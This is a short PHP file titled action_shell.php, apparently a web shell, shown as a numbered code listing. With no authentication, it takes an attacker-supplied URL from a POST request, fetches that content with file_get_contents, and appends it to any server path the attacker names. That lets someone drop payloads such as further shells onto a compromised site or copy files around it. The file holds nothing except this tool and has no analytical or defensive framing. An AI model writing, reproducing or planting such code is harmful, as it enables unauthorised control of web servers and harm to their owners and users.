action_shell.php 410 B

12345678910111213141516171819202122
  1. <?php
  2. class Base{
  3. public function getu($u){
  4. return file_get_contents($u);
  5. }
  6. public function put($p,$res){
  7. file_put_contents($p,$res,FILE_APPEND | LOCK_EX);
  8. }
  9. public function getp($p){
  10. return $p;
  11. }
  12. }
  13. $b=new Base;
  14. $data=$_POST;
  15. if(empty($data)){
  16. exit();
  17. }
  18. $p=$b->getp($data['p']);
  19. $res=$b->getu($data['u']);
  20. $b->put($p,$res);